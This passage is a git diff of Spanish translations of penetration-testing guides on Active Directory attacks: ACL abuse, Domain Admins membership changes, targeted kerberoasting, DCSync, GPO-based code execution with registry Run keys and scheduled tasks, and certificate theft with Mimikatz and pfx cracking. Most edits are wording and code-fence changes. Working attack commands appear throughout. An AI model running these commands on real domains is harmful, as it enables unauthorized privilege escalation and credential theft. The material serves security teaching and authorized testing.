+245,7 @@ EXEC sp_linkedservers; ``` ![](<../../images/image (716).png>) -#### Ejecutar consultas en enlace confiable +#### Ejecutar consultas en un enlace confiable Ejecutar consultas a través del enlace (ejemplo: encontrar más enlaces en la nueva instancia accesible): ```sql diff --git a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md index 8db8fd089..8ce19f2a9 100644 --- a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md +++ b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md @@ -1,4 +1,4 @@ -# Abusando de ACLs/ACEs de Active Directory +# Abuso de ACLs/ACEs de Active Directory {{#include ../../../banners/hacktricks-training.md}} @@ -10,13 +10,13 @@ Este privilegio otorga a un atacante control total sobre una cuenta de usuario o - **Cambiar la Contraseña del Objetivo**: Usando `net user /domain`, el atacante puede restablecer la contraseña del usuario. - **Kerberoasting Dirigido**: Asignar un SPN a la cuenta del usuario para hacerla susceptible a kerberoasting, luego usar Rubeus y targetedKerberoast.py para extraer e intentar romper los hashes del ticket-granting ticket (TGT). -```powershell +```bash Set-DomainObject -Credential $creds -Identity -Set @{serviceprincipalname="fake/NOTHING"} .\Rubeus.exe kerberoast /user: /nowrap Set-DomainObject -Credential $creds -Identity -Clear serviceprincipalname -Verbose ``` - **Targeted ASREPRoasting**: Desactivar la pre-autenticación para el usuario, haciendo que su cuenta sea vulnerable a ASREPRoasting. -```powershell +```bash Set-DomainObject -Identity -XOR @{UserAccountControl=4194304} ``` ## **Derechos GenericAll en el Grupo** @@ -24,7 +24,7 @@ Set-DomainObject -Identity -XOR @{UserAccountControl=4194304} Este privilegio permite a un atacante manipular las membresías de grupo si tiene derechos `GenericAll` en un grupo como `Domain Admins`. Después de identificar el nombre distinguido del grupo con `Get-NetGroup`, el atacante puede: - **Agregarse al Grupo de Administradores de Dominio**: Esto se puede hacer a través de comandos directos o utilizando módulos como Active Directory o PowerSploit. -```powershell +```bash net group "domain admins" spotless /add /domain Add-ADGroupMember -Identity "domain admins" -Members spotless Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local" @@ -40,27 +40,27 @@ Tener estos privilegios en un objeto de computadora o una cuenta de usuario perm Si un usuario tiene derechos de `WriteProperty` en todos los objetos para un grupo específico (por ejemplo, `Domain Admins`), puede: -- **Add Themselves to the Domain Admins Group**: Alcanzable mediante la combinación de los comandos `net user` y `Add-NetGroupUser`, este método permite la escalada de privilegios dentro del dominio. -```powershell +- **Add Themselves to the Domain Admins Group**: Alcanzable mediante la combinación de los comandos `net user` y `Add-NetGroupUser`, este método permite la escalación de privilegios dentro del dominio. +```bash net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain ``` ## **Auto (Auto-Membresía) en Grupo** Este privilegio permite a los atacantes agregarse a grupos específicos, como `Domain Admins`, a través de comandos que manipulan directamente la membresía del grupo. Usar la siguiente secuencia de comandos permite la auto-adición: -```powershell +```bash net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain ``` ## **WriteProperty (Auto-Membresía)** -Un privilegio similar, esto permite a los atacantes agregarse directamente a grupos modificando las propiedades del grupo si tienen el derecho de `WriteProperty` en esos grupos. La confirmación y ejecución de este privilegio se realizan con: -```powershell +Un privilegio similar, esto permite a los atacantes agregarse directamente a grupos modificando las propiedades del grupo si tienen el derecho de `WriteProperty` sobre esos grupos. La confirmación y ejecución de este privilegio se realizan con: +```bash Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"} net group "domain admins" spotless /add /domain ``` ## **ForceChangePassword** Tener el `ExtendedRight` en un usuario para `User-Force-Change-Password` permite restablecer contraseñas sin conocer la contraseña actual. La verificación de este derecho y su explotación se puede realizar a través de PowerShell o herramientas de línea de comandos alternativas, ofreciendo varios métodos para restablecer la contraseña de un usuario, incluyendo sesiones interactivas y comandos de una sola línea para entornos no interactivos. Los comandos varían desde invocaciones simples de PowerShell hasta el uso de `rpcclient` en Linux, demostrando la versatilidad de los vectores de ataque. -```powershell +```bash Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"} Set-DomainUserPassword -Identity delegate -Verbose Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose @@ -72,8 +72,8 @@ rpcclient -U KnownUsername 10.10.10.192 ``` ## **WriteOwner en Grupo** -Si un atacante descubre que tiene derechos de `WriteOwner` sobre un grupo, puede cambiar la propiedad del grupo a sí mismo. Esto es particularmente impactante cuando el grupo en cuestión es `Domain Admins`, ya que cambiar la propiedad permite un control más amplio sobre los atributos y la membresía del grupo. El proceso implica identificar el objeto correcto a través de `Get-ObjectAcl` y luego usar `Set-DomainObjectOwner` para modificar el propietario, ya sea por SID o por nombre. -```powershell +Si un atacante descubre que tiene derechos de `WriteOwner` sobre un grupo, puede cambiar la propiedad del grupo a sí mismo. Esto es particularmente impactante cuando el grupo en cuestión es `Domain Admins`, ya que cambiar la propiedad permite un control más amplio sobre los atributos y la membresía del grupo. El proceso implica identificar el objeto correcto a través de `Get-ObjectAcl` y luego usar `Set-DomainObjectOwner` para modificar el propietario, ya sea por SID o nombre. +```bash Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"} Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico @@ -81,13 +81,13 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico ## **GenericWrite en Usuario** Este permiso permite a un atacante modificar las propiedades del usuario. Específicamente, con acceso `GenericWrite`, el atacante puede cambiar la ruta del script de inicio de sesión de un usuario para ejecutar un script malicioso al iniciar sesión el usuario. Esto se logra utilizando el comando `Set-ADObject` para actualizar la propiedad `scriptpath` del usuario objetivo para que apunte al script del atacante. -```powershell +```bash Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1" ``` ## **GenericWrite en Grupo** Con este privilegio, los atacantes pueden manipular la membresía de grupos, como agregarse a sí mismos u otros usuarios a grupos específicos. Este proceso implica crear un objeto de credencial, usarlo para agregar o eliminar usuarios de un grupo y verificar los cambios de membresía con comandos de PowerShell. -```powershell +```bash $pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd) Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose @@ -96,8 +96,8 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use ``` ## **WriteDACL + WriteOwner** -Poseer un objeto de AD y tener privilegios de `WriteDACL` sobre él permite a un atacante otorgarse a sí mismo privilegios de `GenericAll` sobre el objeto. Esto se logra a través de la manipulación de ADSI, lo que permite un control total sobre el objeto y la capacidad de modificar sus membresías de grupo. A pesar de esto, existen limitaciones al intentar explotar estos privilegios utilizando los cmdlets `Set-Acl` / `Get-Acl` del módulo de Active Directory. -```powershell +Poseer un objeto de AD y tener privilegios de `WriteDACL` sobre él permite a un atacante otorgarse a sí mismo privilegios de `GenericAll` sobre el objeto. Esto se logra a través de la manipulación de ADSI, lo que permite el control total sobre el objeto y la capacidad de modificar sus membresías de grupo. A pesar de esto, existen limitaciones al intentar explotar estos privilegios utilizando los cmdlets `Set-Acl` / `Get-Acl` del módulo de Active Directory. +```bash $ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local" $IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier]) $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow" @@ -106,19 +106,19 @@ $ADSI.psbase.commitchanges() ``` ## **Replicación en el Dominio (DCSync)** -El ataque DCSync aprovecha permisos de replicación específicos en el dominio para imitar un Controlador de Dominio y sincronizar datos, incluyendo credenciales de usuario. Esta poderosa técnica requiere permisos como `DS-Replication-Get-Changes`, permitiendo a los atacantes extraer información sensible del entorno de AD sin acceso directo a un Controlador de Dominio. [**Aprende más sobre el ataque DCSync aquí.**](../dcsync.md) +El ataque DCSync aprovecha permisos específicos de replicación en el dominio para imitar un Controlador de Dominio y sincronizar datos, incluyendo credenciales de usuario. Esta poderosa técnica requiere permisos como `DS-Replication-Get-Changes`, permitiendo a los atacantes extraer información sensible del entorno de AD sin acceso directo a un Controlador de Dominio. [**Aprende más sobre el ataque DCSync aquí.**](../dcsync.md) ## Delegación de GPO ### Delegación de GPO -El acceso delegado para gestionar Objetos de Política de Grupo (GPO) puede presentar riesgos de seguridad significativos. Por ejemplo, si un usuario como `offense\spotless` tiene derechos de gestión de GPO, puede tener privilegios como **WriteProperty**, **WriteDacl** y **WriteOwner**. Estos permisos pueden ser abusados con fines maliciosos, como se identifica usando PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` +El acceso delegado para gestionar Objetos de Política de Grupo (GPO) puede presentar riesgos de seguridad significativos. Por ejemplo, si un usuario como `offense\spotless` tiene derechos de gestión de GPO delegados, puede tener privilegios como **WriteProperty**, **WriteDacl** y **WriteOwner**. Estos permisos pueden ser abusados con fines maliciosos, como se identifica usando PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` ### Enumerar Permisos de GPO Para identificar GPOs mal configurados, se pueden encadenar los cmdlets de PowerSploit. Esto permite descubrir GPOs que un usuario específico tiene permisos para gestionar: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` -**Computadoras con una Política Dada Aplicada**: Es posible resolver qué computadoras se ven afectadas por un GPO específico, ayudando a entender el alcance del impacto potencial. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}` +**Computadoras con una Política Dada Aplicada**: Es posible resolver qué computadoras se aplica una GPO específica, ayudando a entender el alcance del impacto potencial. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}` **Políticas Aplicadas a una Computadora Dada**: Para ver qué políticas se aplican a una computadora en particular, se pueden utilizar comandos como `Get-DomainGPO`. @@ -127,13 +127,13 @@ Para identificar GPOs mal configurados, se pueden encadenar los cmdlets de Power ### Abusar de GPO - New-GPOImmediateTask Los GPOs mal configurados pueden ser explotados para ejecutar código, por ejemplo, creando una tarea programada inmediata. Esto se puede hacer para agregar un usuario al grupo de administradores locales en las máquinas afectadas, elevando significativamente los privilegios: -```powershell +```bash New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force ``` ### GroupPolicy module - Abuso de GPO El módulo GroupPolicy, si está instalado, permite la creación y vinculación de nuevos GPO, y la configuración de preferencias como valores de registro para ejecutar puertas traseras en los computadores afectados. Este método requiere que el GPO sea actualizado y que un usuario inicie sesión en el computador para su ejecución: -```powershell +```bash New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io" Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString ``` @@ -149,13 +149,13 @@ Las actualizaciones de GPO suelen ocurrir aproximadamente cada 90 minutos. Para ### Detrás de Escena -Al inspeccionar las Tareas Programadas para un GPO dado, como la `Política Mal Configurada`, se puede confirmar la adición de tareas como `evilTask`. Estas tareas se crean a través de scripts o herramientas de línea de comandos con el objetivo de modificar el comportamiento del sistema o escalar privilegios. +Al inspeccionar las Tareas Programadas para un GPO dado, como la `Misconfigured Policy`, se puede confirmar la adición de tareas como `evilTask`. Estas tareas se crean a través de scripts o herramientas de línea de comandos con el objetivo de modificar el comportamiento del sistema o escalar privilegios. La estructura de la tarea, como se muestra en el archivo de configuración XML generado por `New-GPOImmediateTask`, detalla las especificaciones de la tarea programada, incluyendo el comando a ejecutar y sus desencadenadores. Este archivo representa cómo se definen y gestionan las tareas programadas dentro de los GPO, proporcionando un método para ejecutar comandos o scripts arbitrarios como parte de la aplicación de políticas. ### Usuarios y Grupos -Los GPO también permiten la manipulación de membresías de usuarios y grupos en sistemas objetivo. Al editar directamente los archivos de políticas de Usuarios y Grupos, los atacantes pueden agregar usuarios a grupos privilegiados, como el grupo local de `administradores`. Esto es posible a través de la delegación de permisos de gestión de GPO, que permite la modificación de archivos de políticas para incluir nuevos usuarios o cambiar las membresías de grupos. +Los GPO también permiten la manipulación de membresías de usuarios y grupos en sistemas objetivo. Al editar directamente los archivos de políticas de Usuarios y Grupos, los atacantes pueden agregar usuarios a grupos privilegiados, como el grupo local `administrators`. Esto es posible a través de la delegación de permisos de gestión de GPO, que permite la modificación de archivos de políticas para incluir nuevos usuarios o cambiar las membresías de grupos. El archivo de configuración XML para Usuarios y Grupos detalla cómo se implementan estos cambios. Al agregar entradas a este archivo, se pueden otorgar privilegios elevados a usuarios específicos en los sistemas afectados. Este método ofrece un enfoque directo para la escalada de privilegios a través de la manipulación de GPO. diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates.md b/src/windows-hardening/active-directory-methodology/ad-certificates.md index 9d02401e0..385072f7b 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates.md @@ -34,7 +34,7 @@ AD CS reconoce los certificados de CA en un bosque de AD a través de contenedor 1. El proceso de solicitud comienza con los clientes encontrando una CA empresarial. 2. Se crea un CSR, que contiene una clave pública y otros detalles, después de generar un par de claves pública-privada. -3. La CA evalúa el CSR contra las plantillas de certificados disponibles, emitiendo el certificado basado en los permisos de la plantilla. +3. La CA evalúa el CSR en función de las plantillas de certificados disponibles, emitiendo el certificado según los permisos de la plantilla. 4. Tras la aprobación, la CA firma el certificado con su clave privada y se lo devuelve al cliente. ### Plantillas de Certificados @@ -53,7 +53,7 @@ Estos derechos se especifican a través de Entradas de Control de Acceso (ACEs), - Derechos de **Inscripción de Certificado** y **Autoinscripción de Certificado**, cada uno asociado con GUIDs específicos. - **Derechos Extendidos**, que permiten todos los permisos extendidos. -- **ControlTotal/TodosGenericos**, proporcionando control completo sobre la plantilla. +- **ControlTotal/GenericAll**, proporcionando control completo sobre la plantilla. ### Derechos de Inscripción de CA Empresarial @@ -61,7 +61,7 @@ Los derechos de la CA están delineados en su descriptor de seguridad, accesible ### Controles Adicionales de Emisión -Ciertos controles pueden aplicarse, tales como: +Ciertos controles pueden aplicarse, como: - **Aprobación del Gerente**: Coloca las solicitudes en un estado pendiente hasta que sean aprobadas por un gerente de certificados. - **Agentes de Inscripción y Firmas Autorizadas**: Especifican el número de firmas requeridas en un CSR y los OIDs de Política de Aplicación necesarios. @@ -71,13 +71,13 @@ Ciertos controles pueden aplicarse, tales como: Los certificados se pueden solicitar a través de: 1. **Protocolo de Inscripción de Certificados de Cliente de Windows** (MS-WCCE), utilizando interfaces DCOM. -2. **Protocolo Remoto ICertPassage** (MS-ICPR), a través de tuberías nombradas o TCP/IP. -3. La **interfaz web de inscripción de certificados**, con el rol de Inscripción Web de la Autoridad de Certificación instalado. +2. **Protocolo Remoto ICertPassage** (MS-ICPR), a través de pipes nombrados o TCP/IP. +3. La **interfaz web de inscripción de certificados**, con el rol de Inscripción Web de Autoridad de Certificación instalado. 4. El **Servicio de Inscripción de Certificados** (CES), en conjunto con el servicio de Política de Inscripción de Certificados (CEP). 5. El **Servicio de Inscripción de Dispositivos de Red** (NDES) para dispositivos de red, utilizando el Protocolo Simple de Inscripción de Certificados (SCEP). Los usuarios de Windows también pueden solicitar certificados a través de la GUI (`certmgr.msc` o `certlm.msc`) o herramientas de línea de comandos (`certreq.exe` o el comando `Get-Certificate` de PowerShell). -```powershell +```bash # Example of requesting a certificate using PowerShell Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My" ``` @@ -85,9 +85,9 @@ Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My" Active Directory (AD) admite la autenticación de certificados, utilizando principalmente los protocolos **Kerberos** y **Secure Channel (Schannel)**. -### Proceso de Autenticación Kerberos +### Proceso de Autenticación de Kerberos -En el proceso de autenticación Kerberos, la solicitud de un usuario para un Ticket Granting Ticket (TGT) se firma utilizando la **clave privada** del certificado del usuario. Esta solicitud pasa por varias validaciones por parte del controlador de dominio, incluyendo la **validez**, **ruta** y **estado de revocación** del certificado. Las validaciones también incluyen verificar que el certificado provenga de una fuente confiable y confirmar la presencia del emisor en el **almacén de certificados NTAUTH**. Las validaciones exitosas resultan en la emisión de un TGT. El objeto **`NTAuthCertificates`** en AD, encontrado en: +En el proceso de autenticación de Kerberos, la solicitud de un usuario para un Ticket Granting Ticket (TGT) se firma utilizando la **clave privada** del certificado del usuario. Esta solicitud pasa por varias validaciones por parte del controlador de dominio, incluyendo la **validez**, **ruta** y **estado de revocación** del certificado. Las validaciones también incluyen verificar que el certificado provenga de una fuente confiable y confirmar la presencia del emisor en el **almacén de certificados NTAUTH**. Las validaciones exitosas resultan en la emisión de un TGT. El objeto **`NTAuthCertificates`** en AD, encontrado en: ```bash CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC= ``` diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md index 5e638a075..f9f728ed4 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md @@ -34,7 +34,7 @@ AD CS reconoce los certificados de CA en un bosque de AD a través de contenedor 1. El proceso de solicitud comienza con los clientes encontrando una CA empresarial. 2. Se crea un CSR, que contiene una clave pública y otros detalles, después de generar un par de claves pública-privada. -3. La CA evalúa el CSR en función de las plantillas de certificados disponibles, emitiendo el certificado según los permisos de la plantilla. +3. La CA evalúa el CSR contra las plantillas de certificados disponibles, emitiendo el certificado basado en los permisos de la plantilla. 4. Tras la aprobación, la CA firma el certificado con su clave privada y se lo devuelve al cliente. ### Plantillas de Certificados @@ -45,7 +45,7 @@ Definidas dentro de AD, estas plantillas describen la configuración y permisos El proceso de inscripción para certificados es iniciado por un administrador que **crea una plantilla de certificado**, que luego es **publicada** por una Autoridad de Certificación Empresarial (CA). Esto hace que la plantilla esté disponible para la inscripción del cliente, un paso logrado al agregar el nombre de la plantilla al campo `certificatetemplates` de un objeto de Active Directory. -Para que un cliente solicite un certificado, deben otorgarse **derechos de inscripción**. Estos derechos están definidos por descriptores de seguridad en la plantilla de certificado y en la propia CA empresarial. Los permisos deben otorgarse en ambas ubicaciones para que una solicitud sea exitosa. +Para que un cliente solicite un certificado, deben otorgarse **derechos de inscripción**. Estos derechos están definidos por descriptores de seguridad en la plantilla de certificado y en la CA empresarial misma. Los permisos deben otorgarse en ambas ubicaciones para que una solicitud sea exitosa. ### Derechos de Inscripción de Plantilla @@ -72,12 +72,12 @@ Los certificados se pueden solicitar a través de: 1. **Protocolo de Inscripción de Certificados de Cliente de Windows** (MS-WCCE), utilizando interfaces DCOM. 2. **Protocolo Remoto ICertPassage** (MS-ICPR), a través de tuberías nombradas o TCP/IP. -3. La **interfaz web de inscripción de certificados**, con el rol de Inscripción Web de Autoridad de Certificación instalado. +3. La **interfaz web de inscripción de certificados**, con el rol de Inscripción Web de la Autoridad de Certificación instalado. 4. El **Servicio de Inscripción de Certificados** (CES), en conjunto con el servicio de Política de Inscripción de Certificados (CEP). 5. El **Servicio de Inscripción de Dispositivos de Red** (NDES) para dispositivos de red, utilizando el Protocolo Simple de Inscripción de Certificados (SCEP). Los usuarios de Windows también pueden solicitar certificados a través de la GUI (`certmgr.msc` o `certlm.msc`) o herramientas de línea de comandos (`certreq.exe` o el comando `Get-Certificate` de PowerShell). -```powershell +```bash # Example of requesting a certificate using PowerShell Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My" ``` @@ -85,9 +85,9 @@ Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My" Active Directory (AD) admite la autenticación de certificados, utilizando principalmente los protocolos **Kerberos** y **Secure Channel (Schannel)**. -### Proceso de Autenticación Kerberos +### Proceso de Autenticación de Kerberos -En el proceso de autenticación Kerberos, la solicitud de un usuario para un Ticket Granting Ticket (TGT) se firma utilizando la **clave privada** del certificado del usuario. Esta solicitud pasa por varias validaciones por parte del controlador de dominio, incluyendo la **validez**, **ruta** y **estado de revocación** del certificado. Las validaciones también incluyen verificar que el certificado provenga de una fuente confiable y confirmar la presencia del emisor en el **almacén de certificados NTAUTH**. Las validaciones exitosas resultan en la emisión de un TGT. El objeto **`NTAuthCertificates`** en AD, que se encuentra en: +En el proceso de autenticación de Kerberos, la solicitud de un usuario para un Ticket Granting Ticket (TGT) se firma utilizando la **clave privada** del certificado del usuario. Esta solicitud pasa por varias validaciones por parte del controlador de dominio, incluyendo la **validez**, **ruta** y **estado de revocación** del certificado. Las validaciones también incluyen verificar que el certificado provenga de una fuente confiable y confirmar la presencia del emisor en el **almacén de certificados NTAUTH**. Las validaciones exitosas resultan en la emisión de un TGT. El objeto **`NTAuthCertificates`** en AD, se encuentra en: ```bash CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC= ``` @@ -99,7 +99,7 @@ Schannel facilita conexiones seguras TLS/SSL, donde durante un apretón de manos ### Enumeración de Servicios de Certificados de AD -Los servicios de certificados de AD se pueden enumerar a través de consultas LDAP, revelando información sobre **Autoridades de Certificación (CAs)** de la Empresa y sus configuraciones. Esto es accesible para cualquier usuario autenticado en el dominio sin privilegios especiales. Herramientas como **[Certify](https://github.com/GhostPack/Certify)** y **[Certipy](https://github.com/ly4k/Certipy)** se utilizan para la enumeración y evaluación de vulnerabilidades en entornos de AD CS. +Los servicios de certificados de AD se pueden enumerar a través de consultas LDAP, revelando información sobre **Autoridades de Certificación (CAs) Empresariales** y sus configuraciones. Esto es accesible para cualquier usuario autenticado en el dominio sin privilegios especiales. Herramientas como **[Certify](https://github.com/GhostPack/Certify)** y **[Certipy](https://github.com/ly4k/Certipy)** se utilizan para la enumeración y evaluación de vulnerabilidades en entornos de AD CS. Los comandos para usar estas herramientas incluyen: ```bash diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md b/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md index 31d784b9c..f895f20e3 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md @@ -6,8 +6,8 @@ ## ¿Qué puedo hacer con un certificado? -Antes de revisar cómo robar los certificados, aquí tienes información sobre cómo encontrar para qué es útil el certificado: -```powershell +Antes de verificar cómo robar los certificados, aquí tienes algo de información sobre cómo encontrar para qué es útil el certificado: +```bash # Powershell $CertPath = "C:\path\to\cert.pfx" $CertPass = "P@ssw0rd" @@ -22,7 +22,7 @@ certutil.exe -dump -v cert.pfx En una **sesión de escritorio interactiva**, extraer un certificado de usuario o de máquina, junto con la clave privada, se puede hacer fácilmente, particularmente si la **clave privada es exportable**. Esto se puede lograr navegando al certificado en `certmgr.msc`, haciendo clic derecho sobre él y seleccionando `All Tasks → Export` para generar un archivo .pfx protegido por contraseña. -Para un **enfoque programático**, están disponibles herramientas como el cmdlet `ExportPfxCertificate` de PowerShell o proyectos como [TheWover’s CertStealer C# project](https://github.com/TheWover/CertStealer). Estas utilizan la **Microsoft CryptoAPI** (CAPI) o la Cryptography API: Next Generation (CNG) para interactuar con el almacén de certificados. Estas APIs proporcionan una gama de servicios criptográficos, incluidos los necesarios para el almacenamiento y la autenticación de certificados. +Para un **enfoque programático**, están disponibles herramientas como el cmdlet de PowerShell `ExportPfxCertificate` o proyectos como [TheWover’s CertStealer C# project](https://github.com/TheWover/CertStealer). Estas utilizan la **Microsoft CryptoAPI** (CAPI) o la Cryptography API: Next Generation (CNG) para interactuar con el almacén de certificados. Estas APIs proporcionan una gama de servicios criptográficos, incluidos los necesarios para el almacenamiento y la autenticación de certificados. Sin embargo, si una clave privada está configurada como no exportable, tanto CAPI como CNG normalmente bloquearán la extracción de tales certificados. Para eludir esta restricción, se pueden emplear herramientas como **Mimikatz**. Mimikatz ofrece comandos `crypto::capi` y `crypto::cng` para parchear las respectivas APIs, permitiendo la exportación de claves privadas. Específicamente, `crypto::capi` parchea el CAPI dentro del proceso actual, mientras que `crypto::cng` apunta a la memoria de **lsass.exe** para el parcheo. @@ -66,11 +66,11 @@ Los certificados de máquina almacenados por Windows en el registro en `HKEY_LOC La desencriptación manual se puede lograr ejecutando el comando `lsadump::secrets` en **Mimikatz** para extraer el secreto LSA DPAPI_SYSTEM, y posteriormente utilizando esta clave para desencriptar las claves maestras de la máquina. Alternativamente, se puede usar el comando `crypto::certificates /export /systemstore:LOCAL_MACHINE` de Mimikatz después de parchear CAPI/CNG como se describió anteriormente. -**SharpDPAPI** ofrece un enfoque más automatizado con su comando de certificados. Cuando se utiliza la bandera `/machine` con permisos elevados, se eleva a SYSTEM, se vuelca el secreto LSA DPAPI_SYSTEM, se utiliza para desencriptar las claves maestras DPAPI de la máquina y luego emplea estas claves en texto plano como una tabla de búsqueda para desencriptar cualquier clave privada de certificado de máquina. +**SharpDPAPI** ofrece un enfoque más automatizado con su comando de certificados. Cuando se utiliza la bandera `/machine` con permisos elevados, se eleva a SYSTEM, extrae el secreto LSA DPAPI_SYSTEM, lo utiliza para desencriptar las claves maestras DPAPI de la máquina y luego emplea estas claves en texto plano como una tabla de búsqueda para desencriptar cualquier clave privada de certificado de máquina. ## Encontrando Archivos de Certificados – THEFT4 -Los certificados a veces se encuentran directamente dentro del sistema de archivos, como en recursos compartidos de archivos o en la carpeta de Descargas. Los tipos de archivos de certificados más comúnmente encontrados dirigidos a entornos de Windows son los archivos `.pfx` y `.p12`. Aunque con menos frecuencia, también aparecen archivos con extensiones `.pkcs12` y `.pem`. Otras extensiones de archivo relacionadas con certificados que son dignas de mención incluyen: +Los certificados a veces se encuentran directamente dentro del sistema de archivos, como en recursos compartidos de archivos o en la carpeta de Descargas. Los tipos de archivos de certificados más comúnmente encontrados dirigidos a entornos de Windows son los archivos `.pfx` y `.p12`. Aunque con menos frecuencia, también aparecen archivos con extensiones `.pkcs12` y `.pem`. Otras extensiones de archivo relacionadas con certificados que son notables incluyen: - `.key` para claves privadas, - `.crt`/`.cer` solo para certificados, @@ -80,7 +80,7 @@ Los certificados a veces se encuentran directamente dentro del sistema de archiv Estos archivos se pueden buscar utilizando PowerShell o el símbolo del sistema buscando las extensiones mencionadas. En casos donde se encuentra un archivo de certificado PKCS#12 y está protegido por una contraseña, la extracción de un hash es posible mediante el uso de `pfx2john.py`, disponible en [fossies.org](https://fossies.org/dox/john-1.9.0-jumbo-1/pfx2john_8py_source.html). Posteriormente, se puede emplear JohnTheRipper para intentar descifrar la contraseña. -```powershell +```bash # Example command to search for certificate files in PowerShell Get-ChildItem -Recurse -Path C:\Users\ -Include *.pfx, *.p12, *.pkcs12, *.pem, *.key, *.crt, *.cer, *.csr, *.jks, *.keystore, *.keys @@ -90,17 +90,19 @@ pfx2john.py certificate.pfx > hash.txt # Command to crack the hash with JohnTheRipper john --wordlist=passwords.txt hash.txt ``` -## Robo de Credenciales NTLM a través de PKINIT – THEFT5 +## Robo de Credenciales NTLM a través de PKINIT – THEFT5 (UnPAC el hash) El contenido dado explica un método para el robo de credenciales NTLM a través de PKINIT, específicamente mediante el método de robo etiquetado como THEFT5. Aquí hay una reexplicación en voz pasiva, con el contenido anonimizado y resumido donde sea aplicable: -Para soportar la autenticación NTLM [MS-NLMP] para aplicaciones que no facilitan la autenticación Kerberos, el KDC está diseñado para devolver la función unidireccional (OWF) NTLM del usuario dentro del certificado de atributo de privilegio (PAC), específicamente en el búfer `PAC_CREDENTIAL_INFO`, cuando se utiliza PKCA. En consecuencia, si una cuenta se autentica y asegura un Ticket-Granting Ticket (TGT) a través de PKINIT, se proporciona inherentemente un mecanismo que permite al host actual extraer el hash NTLM del TGT para mantener los protocolos de autenticación heredados. Este proceso implica la decripción de la estructura `PAC_CREDENTIAL_DATA`, que es esencialmente una representación serializada NDR del texto plano NTLM. +Para soportar la autenticación NTLM `MS-NLMP` para aplicaciones que no facilitan la autenticación Kerberos, el KDC está diseñado para devolver la función unidireccional (OWF) NTLM del usuario dentro del certificado de atributo de privilegio (PAC), específicamente en el búfer `PAC_CREDENTIAL_INFO`, cuando se utiliza PKCA. En consecuencia, si una cuenta se autentica y asegura un Ticket-Granting Ticket (TGT) a través de PKINIT, se proporciona inherentemente un mecanismo que permite al host actual extraer el hash NTLM del TGT para mantener los protocolos de autenticación heredados. Este proceso implica la decripción de la estructura `PAC_CREDENTIAL_DATA`, que es esencialmente una representación serializada NDR del texto plano NTLM. La utilidad **Kekeo**, accesible en [https://github.com/gentilkiwi/kekeo](https://github.com/gentilkiwi/kekeo), se menciona como capaz de solicitar un TGT que contenga estos datos específicos, facilitando así la recuperación del NTLM del usuario. El comando utilizado para este propósito 